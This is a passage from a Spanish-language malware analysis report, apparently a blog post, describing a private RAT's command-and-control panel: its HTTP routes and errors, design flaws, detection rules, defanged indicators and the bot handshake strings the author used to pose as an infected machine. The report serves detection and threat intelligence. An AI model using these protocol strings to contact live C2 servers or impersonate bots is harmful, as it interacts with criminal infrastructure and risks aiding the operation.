<tr>
<td><code>GET /</code> (408)</td>
<td><code>unknown type</code></td>
<td>Falta <code>type</code></td>
</tr>
<tr>
<td><code>GET /task</code></td>
<td><code>missing task name</code></td>
<td>Falta el nombre</td>
</tr>
<tr>
<td><code>GET /task/&lt;x&gt;</code></td>
<td><code>403 Access denied</code></td>
<td>Ruta real, no autorizada</td>
</tr>
<tr>
<td><code>GET /files</code></td>
<td><code>missing file id</code></td>
<td><strong>Ruta de descarga</strong></td>
</tr>
<tr>
<td><code>GET /files?id=&lt;desconocido&gt;</code></td>
<td><code>Task metadata not found</code></td>
<td>Id no registrado</td>
</tr>
<tr>
<td><code>GET /files?id=&lt;task_id&gt;</code></td>
<td><code>Uploaded file not found</code></td>
<td><strong>Tarea sin binario</strong></td>
</tr>
<tr>
<td>Peticiones seguidas</td>
<td><code>429 ... Soso.</code></td>
<td>Límite de peticiones</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="12-fallos-de-diseño-del-panel">12. Fallos de diseño del panel</h2>
<p>Cinco deficiencias de diseño que este ejercicio destapa:</p>
<ol>
<li><strong>Sin autenticación de bots.</strong> El identificador lo elige el cliente y basta con enviar <code>ready;&lt;versión&gt;</code> e <code>info;...</code> para entrar en la cola. Cualquiera puede convertirse en bot y recibir trabajo.</li>
<li><strong>Difusión global de tareas.</strong> No hay destinatario: todos los bots conectados reciben la lista íntegra. Eso revela al panel los bots ajenos y explica por qué la tarea del Stealer llega a cualquier bot que se conecte.</li>
<li><strong>Fuga de metadatos en el 404.</strong> El panel distingue entre <code>Task metadata not found</code> y <code>Uploaded file not found</code>, lo que permite enumerar qué tareas existen y cuáles tienen fichero. Es una fuga de información innecesaria.</li>
<li><strong>Limitador frágil.</strong> Un <code>429</code> con el cuerpo <code>Soso.</code> se agota en segundos, pero solo protege por IP: con IP rotativa (como una botnet) el límite no sirve de nada.</li>
<li><strong>Canal de control sin cifrar.</strong> Todo el protocolo (huella de la máquina, tareas y payloads) viaja en claro sobre WebSocket y HTTP sin TLS. El único dato sensible, el HWID, se expone a cualquiera que esté en la red.</li>
</ol>
<hr>
<h2 id="13-limitaciones-y-motivo-de-no-haber-obtenido-el-payload">13. Limitaciones y motivo de no haber obtenido el payload</h2>
<ul>
<li><strong>El binario no existe en el servidor.</strong> No es un fallo del método: las dos tareas identificadas responden <code>Uploaded file not found</code>. Sin fichero no hay nada que descargar.</li>
<li><strong>El <code>403 Access denied</code> del 408 no se ha explicado del todo.</strong> Se descartó que dependa del <code>User-Agent</code> (todos dan lo mismo), de la IP (se probó desde la misma IP de la sesión WebSocket) y del nombre (docenas de variantes). Lo más probable es que el panel exija una petición de descarga emitida desde un contexto autenticado que el cliente real construye de una forma que no se ha reproducido, o que el control de autorización esté atado al estado interno de la tarea.</li>
<li><strong>No se ha tocado la consola de administración.</strong> Deliberadamente: el objetivo era hablar el idioma del malware, no vulnerar el panel del operador.</li>
</ul>
<hr>
<h2 id="14-vigilancia-y-reglas-de-detección">14. Vigilancia y reglas de detección</h2>
<ol>
<li><strong>Vigilancia pasiva</strong> de <code>45.91.202.xxx:406</code> y <code>:408</code>, registrando nuevos <code>task_id</code> y el estado de <code>/files?id=</code>. Si el operador sube el Stealer, aparecerá como un <code>200</code> en lugar de un <code>404</code>.</li>
<li><strong>Captura del fichero en cuanto exista</strong>, sin ejecutarlo: solo hash, cabeceras PE y análisis estático.</li>
<li><strong>Regla de detección de red</strong> para el tráfico descrito en este documento:</li>
</ol>






<pre tabindex="0"><code>alert tcp any any -&gt; any any (msg:&#34;C2 panel RAT privado - descarga de payload&#34;;
    content:&#34;GET /files?id=&#34;; http_uri; content:&#34;mops[.]to&#34;; http_header;
    sid:1000001;)

alert tcp any any -&gt; any 406 (msg:&#34;Panel C2 - handshake WebSocket&#34;;
    content:&#34;|16 48 6f 73 74 3a|&#34;; content:&#34;Upgrade|3a 20|websocket&#34;; sid:1000002;)</code></pre>
<blockquote>
<p>Sustituye <code>mops[.]to</code> por el dominio real (sin corchetes) para que la regla funcione.</p>
</blockquote>
<ol start="4">
<li><strong>Regla de host</strong> para la tarea del panel: cadenas <code>ready;</code>, <code>task;createtask</code>, <code>Soso.</code>, <code>Uploaded file not found</code>.</li>
</ol>
<hr>
<h2 id="15-indicadores-difuminados">15. Indicadores (difuminados)</h2>
<h3 id="red">Red</h3>






<pre tabindex="0"><code>mops[.]to                                 -&gt; 45.91.202.xxx
406/TCP   WebSocket  (101 + latido de texto &#39;ping&#39; cada 15 s)
408/TCP   HTTP Go    (/task, /files?id=)
409/TCP   HTTP Go    (sin rutas conocidas)
Proveedor: VPS en Países Bajos (ASN e ISP omitidos)</code></pre>
<h3 id="cadenas-y-rutas-del-panel">Cadenas y rutas del panel</h3>






<pre tabindex="0"><code>&#39;Bad request: unknown type&#39;  &#39;Bad request: missing task name&#39;
&#39;Bad request: missing file id&#39;  &#39;Task metadata not found&#39;
&#39;Uploaded file not found&#39;  &#39;Access denied&#39;  &#39;Soso.&#39;
&#39;/files?id=&#39;  &#39;/task&#39;
&#39;ready;1.0.0&#39;  &#39;getinfo&#39;  &#39;info;&#39;  &#39;task;createtask&#39;  &#39;task_done;&#39;
&#39;task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1&#39;</code></pre>
<h3 id="identificadores-de-bot-ficticios-usados-en-las-pruebas">Identificadores de bot ficticios usados en las pruebas</h3>






<pre tabindex="0"><code>1000000001   1000000002   1000000003</code></pre>
<blockquote>
<p>Todos ellos inventados. Si aparecen en un informe real, proceden de este análisis y no de una infección.</p>
</blockquote>
<hr>
<h2 id="16-conclusión">16. Conclusión</h2>
<p>La primera parte respondía a <em>qué es capaz de hacer el RAT</em>. Esta segunda parte responde a <em>quién está al otro lado y cómo se habla con él</em>. Y la respuesta es inquietante: <strong>un panel privado, sin autenticación, sin cifrado y con fugas de información, pero perfectamente funcional</strong>.</p>
<p>Tres conclusiones se llevan de este ejercicio:</p>
<ol>
<li><strong>El protocolo se dedujo con los errores del servidor.</strong> No hizo falta desensamblar el cliente para hablar con el C2: el propio panel se comportó como un oráculo y fue revelando su gramática a base de <code>101</code>, <code>426</code>, <code>403</code>, <code>429</code> y <code>404</code>.</li>
<li><strong>El panel confía demasiado en el cliente.</strong> Un bot sin credenciales entra en la cola de tareas y recibe el mismo trabajo que un equipo infectado. Esa debilidad es, en sí misma, un vector defensivo: permite enumerar tareas y confirmar la campaña sin tocar la consola del operador.</li>
<li><strong>El arma real no estaba en el servidor.</strong> El infostealer <code>Stealer 1.0.1</code> se repartía a toda la botnet pero su binario no estaba subido. El daño final, una vez más, depende de lo que el operador sirva por el 408 en el momento del ataque.</li>
</ol>
<p>Los hallazgos, los indicadores y las reglas de detección quedan documentados; la parte 1 cubrió el análisis estático de los tres stages y esta cierra el círculo con la infraestructura viva. No hay siguiente Stage ya que el atacante no ha subido o ha borrado el payload de la tarea &ldquo;Stealer&rdquo;</p>
<p><em>Fin del informe.</em></p>
]]></content:encoded></item></channel></rss>